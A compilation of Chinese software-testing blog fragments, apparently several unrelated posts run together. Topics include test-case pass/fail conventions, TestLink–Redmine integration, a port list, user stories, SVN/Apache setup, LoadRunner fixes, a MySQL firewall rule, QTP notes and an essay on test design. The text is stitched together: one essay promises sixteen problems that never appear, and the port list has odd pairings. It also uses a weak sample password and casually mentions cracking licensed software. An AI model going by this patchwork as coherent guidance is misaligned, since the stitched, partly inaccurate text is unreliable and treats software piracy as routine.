　　对用例执行pass和failed进行一个约定，可能很多人会觉得多此一举，和测试用例的预期结果一致就pass，和结果不一致出现bug就failed 呗，这还有什么好约定的，其实细细想一下，在执行过程中会不会遇到多个用例都是因为其中一个功能点的校验不通过而failed呢？如果这个功能点比较独立，不影响测试流程，开发在修改的过程中我们继续执行，是将这些用例都因为这个功能点不通过而置为failed呢还是将其中一个用例failed提一个 bug，将其他用例pass呢？我个人觉得两种方法都可以，可是事先需要做一个统一约定，大家都按照同一个方式去处理问题，后续负责人统计需要重新执行的用例量时也是非常清楚，方便评估的。

　　如果某个功能点不好影响测试进行的时候，测试人员是将受影响用例置为failed呢还是让它弄no run呢？其实这个也不存在谁对谁错，只是前期如果不提出来约定一下的话，恐怕每个测试人员有每个人的习惯，那么测试负责人从QC中分析执行情况以及项目进度时就不能获得比较准确的信息。

　　2.分阶段来细化每天工作量

　　前期做好约定之后，再每一个阶段开始的时候需要做一个工作量预估表，细化到每天的工作量，这使整个测试过程能更好的得到保证，比如在第一轮测试将开始的时候就根据执行的用例数和工作日做一个预估，第一轮计划是执行5天的话，那么第一天大家测试可能不会那么顺利，需要预估少一点的工作量，在后面的测试中需要抓紧时间多执行一些用例，第一轮接近尾声的时候需要预估少一点的工作，因为交接是或许遇到一些问题，这期间少一点任务能给留出一些时间冗余没想到的风险和困难。

　　另外，象这样预估好每天的工作量，可以和实际完成的工作量进行对比，可以尽早知道测试进度是正常还是延期，提早控制好风险。

　　最后，从对比的结果可以分析出整体的测试计划是否做的合理，总结经验教训，逐渐成长。

　　当然，测试过程中还是需要及时调整的，对于这块就只能意会不能言传，大家慢慢体会吧，我以后还有心得再和大家分享。

公司的项目管理平台正在通过redmine的方式实现统一和集成管理，Redmine是一个灵活的项目管理工具, 它可以有效地管理项目开发的整个流程(需求, 设计, 开发), 但是在测试的管理上却由于其定位存在先天的不足，对测试流程，如测试需求，测试计划，测试用例，测试执行过程等的管理却没有实现。让测试过程也通过集成redmine的方式，与产品、开发、运营部门紧急结合，将测试过程前推到产品设计开发阶段，成为我们探索的一个方向。

传统的TD、QC等由于其商业化的原因，无法实现与redmine的对接，开源的测试管理工具种类繁多，经过较长时间的评估和对比，我们选择了testlink进行试用，由于其开源的特点我们对其进行了部分的改造，主要包括。

1.公司域用户的支持，通过LDAP服务的改造，与redmine共用一套用户系统，免除了重复注册用户的烦恼。

实现：修改ldap_api.php;config.inc.php
2.测试执行中提交BUG时与redmine系统的连接

实现：修改redmine.cfg.php

3.跳转到redmine提交问题时，实现testlink项目与redmine项目的关联（即在testlink项目A中提交问题时，直接能跳转到redmine项目A的问题库）

实现：在新建项目时增加redmine项目名/id的配置，跳转时根据此配置自动在url中拼接。修改projectEdit.tpl，projectEdit.php，int_bugtracking.php，bugAdd.php，testproject.class.php等

4.在首页TAB中增加缺陷提交的跳转，testlink原来的设计只能在用例执行中提交缺陷，但事实上很多缺陷的发现并不完全依赖于用例，一些体验性或探索性测试发现的缺陷并不能找到对应的用例，所以我们增加了在首页直接提交缺陷的功能。

实现：frmWorkArea.php等

5.根据公司的术语习惯进行了部分汉化上修正

20   文件传输协议(默认数据口)   pure-ftp
21   文件传输协议(控制)        vsftpd
22   SSH远程登录协议  
23   telnet 终端仿真协议  
24   预留给个人用邮件系统  
25   smtp 简单邮件发送协议
110  Pop3 服务器(邮箱发送服务器)
161  snmp - snmp  
162  snmp-trap -snmp  
514  syslog默认发送和接收端口
4899 远程登录端口

什么是用户故事？

用户故事是从用户的角度来描述用户渴望得到的功能。一个好的用户故事包括三个要素：

1.     角色：谁要使用这个功能。

2.     活动：需要完成什么样的功能。

3.     商业价值：为什么需要这个功能，这个功能带来什么样的价值。

用户故事通常按照如下的格式来表达：

英文：

As a <Role>, I want to <Activity>, so that <Business Value>.

中文：

作为一个<角色>, 我想要<活动>, 以便于<商业价值>

举例：

作为一个“网站管理员”，我想要“统计每天有多少人访问了我的网站”，以便于“我的赞助商了解我的网站会给他们带来什么收益。”

需要注意的是用户故事不能够使用技术语言来描述，要使用用户可以理解的业务语言来描述。

Ron Jeffries的3个C

关于用户故事，Ron Jeffries用3个C来描述它：

卡片（Card） - 用户故事一般写在小的记事卡片上。卡片上可能会写上故事的简短描述，工作量估算等。

交谈（Conversation）- 用户故事背后的细节来源于和客户或者产品负责人的交流沟通。

确认（Confirmation）- 通过验收测试确认用户故事被正确完成。

 

用户故事的六个特性- INVEST

INVEST = Independent, Negotiable, Valuable, Estimable, Small, Testable

一个好的用户故事应该遵循INVEST原则。

独立性（Independent）— 要尽可能的让一个用户故事独立于其他的用户故事。用户故事之间的依赖使得制定计划，确定优先级，工作量估算都变得很困难。通常我们可以通过组合用户故事和分解用户故事来减少依赖性。

可协商性（Negotiable）— 一个用户故事的内容要是可以协商的，用户故事不是合同。一个用户故事卡片上只是对用户故事的一个简短的描述，不包括太多的细节。具体的细节在沟通阶段产出。一个用户故事卡带有了太多的细节，实际上限制了和用户的沟通。

有价值（Valuable）— 每个故事必须对客户具有价值（无论是用户还是购买方）。一个让用户故事有价值的好方法是让客户来写下它们。一旦一个客户意识到这是一个用户故事并不是一个契约而且可以进行协商的时候，他们将非常乐意写下故事。

 

可以估算性（Estimable）—开发团队需要去估计一个用户故事以便确定优先级，工作量，安排计划。但是让开发者难以估计故事的问题来自：对于领域知识的缺乏（这种情况下需要更多的沟通），或者故事太大了（这时需要把故事切分成小些的）。

 

短小（Small）— 一个好的故事在工作量上要尽量短小，最好不要超过10个理想人/天的工作量,至少要确保的是在一个迭代或Sprint中能够完成。用户故事越大，在安排计划，工作量估算等方面的风险就会越大。

 

可测试性（Testable）—一个用户故事要是可以测试的，以便于确认它是可以完成的。如果一个用户故事不能够测试，那么你就无法知道它什么时候可以完成。一个不可测试的用户故事例子：软件应该是易于使用的。

svn服务器安装配置，SVN服务器使用教程，版本控制器,svn与apache整合:
一、安装SVN
1.安装svn-1.4.6- setup.exe（可以在http://subversion.tigris.org/下载得到）
2.安装成功后，在硬盘上创建目录,如E:\svn\test，使用命令创建版本库 svnadmin create E:\svn\test,建立工程，svn自动会在该目录下建立若干文件
3.修改版本库conf\svnserve.conf，在 svnserve.conf文件中增加
[general]
anon-access = read
auth-access = write
password-db = passwd
realm = svnhome
anon-access = read#表示匿名可读
anon-access = none #不允许访问
在同目录下有passwd文件，在此文件中增加用户和密码格式如下
[users]
admin = 123  //用户名 = 密码

到这一步svn服务器已经配置完成了，下面是导入需要版本控制的工程
4.在命令行执行import命令
例如：C:\Documents and Settings\Administrator>svn import E:\LmWorks\TestSVN file:///E:
/SVN/ZL-ZHWF-BS -m "initial import"  //svn import 要导入的文件夹路径 file:///版本库路径 -m "initial import"
回车后命令窗口显示
新增           D:\eclipse\workspace\Workflow\.classpath
新增           D:\eclipse\workspace\Workflow\.project
新增           D:\eclipse\workspace\Workflow\src
新增           D:\eclipse\workspace\Workflow\src\com
新增           D:\eclipse\workspace\Workflow\src\com\bright
新增           D:\eclipse\workspace\Workflow\src\com\bright\sw
......
......
提交后的修订版为 1。
说明工程引入svn控制成功
5.最后在命令行执行svnserve -d命令，启动svn服务
6.可以使用了，首先检出的时候的路径格式，file:///E:/SVN/test

二、安装apache
安装apache最容易碰到的问题就是端口被占用，没关系，解决办法：

如果80端口被占用，安装Apache的过程中，可能不能成功安装Apache的Servcie。如果不能正确安装Apache Service，那么执行Start或Restart等命令时，会报如“找不到Apache2的Servic e”的错误，然后执行失败。这样的话，修改了 httpd.conf文件，将端口改为其它值（如8910）也无法正确启动Apache服务。

在这样的情况下，可以在修改httpd.conf文件后，再执行Apache安装文件，然后选择修复功能。如果httpd.conf修改正确，修改完成后，Apache Service就会被正确安装，Apahce Http Server就能正常启动了。

总结：
1、安装Apahce；
2、修改httpd.conf，将端口改为其它未被占用的端口号；
3、重新运行 Apache安装文件，选择修复功能执行。

svn与apache的整合

1、安装配置svn
2、安装apache2
3、在apache的配置文件httpd.conf文件里做如下修改：
     

（1）把下面两行的注释给去掉

LoadModule dav_module modules/mod_dav.so

LoadModule dav_fs_module modules/mod_dav_fs.so

另外添加两行

LoadModule dav_svn_module modules/mod_dav_svn.so

LoadModule authz_svn_module modules/mod_authz_svn.so

同时在SVN安装目录/bin下有两个.so文件，拷贝到apache安装目录/modules/下

（2）在文件的尾部添加

Xml代码
<Location /svn>  
   DAV svn   
# 设置svn的代码仓库路径   
   SVNPath e:\svn\repository   
  
# 如何验证用户   
   AuthType Basic   
   AuthName "输入用户名密码"   
   AuthUserFile C:\svnpasswd  #这里的密码文件为htpasswd.exe生成，不是SVN的密码   
   Require valid-user   
</Location>  
<Location /svn>
   DAV svn
# 设置svn的代码仓库路径
   SVNPath e:\svn\repository

# 如何验证用户
   AuthType Basic
   AuthName "输入用户名密码"
   AuthUserFile C:\svnpasswd  #这里的密码文件为htpasswd.exe生成，不是SVN的密码
   Require valid-user
</Location>

建立保存用户名和密码的文件
htpasswd -c C:\svnpasswd username  #htpasswd -c C:\svnpasswd 用户名

-c 表示创建文件，-m表示对密码用md5加密

然后，会提示输入两次密码，以后再加用户就不需要用-c了，直接用-m即可。

启动SVN，svnserve -d -r E:\SVN\ZL-ZHWF-BS

配置完成，重启apache，在浏览器地址栏中输入http://localhost/svn

看到
Revision 1: /

1、安装loadrunner后，录制脚本时打不开IE，或者报错

原因有两个:

一是可能安装了多个浏览器，解决方法打开IE选项---高级--去掉“启用第三方浏览器扩展（需要重启动）”的勾选

二是需要重新运行“register_vugen.bat”（位置\Program Files\Mercury\LoadRunner\bin）

2、录制脚本时出现IE运行错误

原因：一般是操作系统的环境不适合或者浏览器的版本有出入。

1.LoadRunner能支持Standalone的IE7脚本录制，在XPSP2+IE7上验证通过；

2.LoadRunner不兼容Windows Vista,vugen.exe(Mercury Virtual User Generator)启动失败,错误提示"Action"，跟UAC安全特性无关，初步分析跟当前用户的Temp路径改变有关；

3.Windows 2003 SP2上无法录制IE6/7，导致IE Crash,iedw.exe(IE Crash Detection)报告错误事件，错误代码0xc0000005,ie在地址00CD4548 push 1Ah段中断。初步分析原因是Windows Server默认对IE加载DEP(数据执行保护)特性，而Vugen.exe刚好又跟DEP冲突。

解决方案（WIN2003环境）：不想换系统那就按下面操作：控制面板--系统--高级--性能--数据执行保护--添加例外程序vugen.exe，或许选择第一个选项

注：听说loadrunner录制脚本时打不开IE，也可以换一个浏览器，360浏览器、火狐浏览器我都安装试过了，依旧没有解决，但是通过上面的方法解决了。

linux下安装了mysql的server端和client端，通过client端进入mysql>>可以设置远程mysql的专用账号。并打开防火墙的mysql端口即可。     -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 3306 -j ACCEPT 

经常有同行友人和内部同事问我，搞测试技术有啥具体的目标吗？难道除了工具和自动化，测试技术就只有测试意识，或一些数学化的测试理论吗？ 为此，结合我工作中遇到的测试难题，我做了一个简单的总结提炼，发现在中国基本所有的测试组织都存在如下这些测试技术的解决目标。而这些就是我们测试行业的各位友人们一起来努力奋斗的方向，如果如下十六个问题，我们都解决了或部分改进了，我想中国的测试行业就真正的往前迈了很大一步，我们真得为产品做出了独特的很大价值，我们测试也不再是蛮荒的原始阶段，好请各位朋友对号入座吧：

     QTP作为自动化测试的倚天剑已经成为每个测试人员必备技能，自己一直想系统的学习一下，可是由于种种原因，没有时间坚持下去，今天开个日志，希望各路高手指教！！同在学习的同行们也可以共享交流一下！自己的目标21天攻克QTP。

     大致的学习思路应该是 第一部分主要在QTP_Tutorial.chm ，然后研究一下VBS，之后研究一下框架之类的，恩，先这样进行吧，呵呵！

     QTP基础篇

QuickTest 的測試流程七大階段

总结一下就是：录制脚本，优化，执行，分析，回馈

悲剧啊，好久没有用过了，这个工具竟然损坏了，要重新安装过，今天就先这样吧，先去破解一下~

   测试这行，如果按照客观规律总的来说是：入门容易，提升难。 有些人做测试8－9年了，其针对同一个产品的测试思路和方法，与测试只有2－3年的人看不出有什么区别。于是行业中有了一种误区，认为测试技术的提升主要集中在对性能测试工具的使用及脚本开发，自动化测试开发，测试工具开发领域。仅个人愚见：测试工具开发和自动化测试开发 主要还是开发技术而不是测试技术，从没有做过测试分析，测试设计的开发人员也能胜任。如果仅狭义地认为测试技术的发展只在自动化测试框架开发或测试工具开发上，那么从逻辑上来说，任何一个开发人员都可以成为测试技术大拿。当然我想，没有人会真正这么认为。
　　开发工作的目标从一开始是非常明确的，要实现什么，要做什么，做到什么程度大多数情况下都是清晰的，最大的困难则是如何实现如何做到，总的来说是一个不断聚焦的过程。而测试工作的目标呢？其实很多时候，并不如开发那么明确，例如同样一个性能指标，开发很清楚要通过实现什么算法来达到目标，而测试则需要对该性能指标先进行测试分析，再进行测试设计，可是测试分析做到什么程度却是一个发散的过程， 2小时也可以，2天也不够，这就导致了测试质量的浮动范围是非常大的，由于开发和项目经理通常对测试设计并不了解，也无法了解（测试其实是一个专业度非常高的领域），因此会导致测试部的工作质量很难在过程中真正去度量和监督。
　　从哲学上来说，确定性的规律往往难度不大，不确定性的规律往往说明它是一个复杂系统。因此，我个人认为：测试技术领域最难的技术应该是测试分析和设计。从另一个角度来看，测试价值的体现最主要还是保障自己组织开发的软件在关键应用时不要出故障，给组织造成商业损失。所以，有效的测试覆盖率是最重要的测试工作目标（而不是自动化测试率），需要说明的是测试覆盖率不等于代码覆盖率。通过单元测试达到代码覆盖率100％了就能保障产品无bug其实是一个误区，因为很多组织会为了达到单元覆盖率而去开发单元测试代码，单元测试代码或单元测试设计的质量只能保障消除产品编码的问题，发现产品设计的问题则往往会很困难。而发现产品设计问题的最主要方法还得需要基于黑盒的测试分析和设计。
　　如何做好测试分析和测试设计，根据我的经验和体会，建议测试分析和测试设计主要通过3个维度来做，则可以大致达到一个比较高的有效测试覆盖率：
　　维度一：从用户实际使用的场景和习惯入手，开发一批测试用例；
　　优点：  可以覆盖到主要基本场景；
　　不足：  从事场景分析的人无法做到了解用户所有的场景，必定受参与测试分析资源限制会有场景遗漏；
　　维度二：通过测试对象内部实现流程的路径及依赖关系分析入手，开发一批测试用例；
　　优点：可填补维度一的部分遗漏场景，特别是异常处理和分支交互处理的场景；
　　不足：分析阶段主要精力会被局限在内部流程的熟悉和分析中，从而也会遗漏真实环境中的一些偶然小概率事件；
　　维度三：依赖基于经验的测试分析和设计，例如：错误猜测法或探索性测试法；
　　优点： 给维度二再做一次补充测试分析和设计；
　　不足： 维度三效果的质量高低取决于组织内部经验的积累量及测试人员思维的发散能力和创造性；
　　总得来说：无论是功能测试还是各种专项测试，依次使用以上3个维度的测试分析和设计，基本上能覆盖到被测对象的绝大部分应用场景，充分保障产品质量，减少问题遗漏。
　　因此：测试的核心技术是测试分析和测试设计的能力，它决定了后续所有测试活动的质量及效果。同时，要做好一个测试任务，掌握广泛的测试类型也是必要的核心技术，如：如何给每个测试对象做细做深压力测试，长时间测试，健壮性测试也是决定项目测试质量的关键所在。我本人不相信随便做做的压力测试设计和健壮性测试设计能够保障产品实际应用表现良好。
　　测试活动的质量或者一个测试工程师技术水平如何将主要取决于：测试分析和设计的深度及系统化，以及掌握广泛的专项测试类型。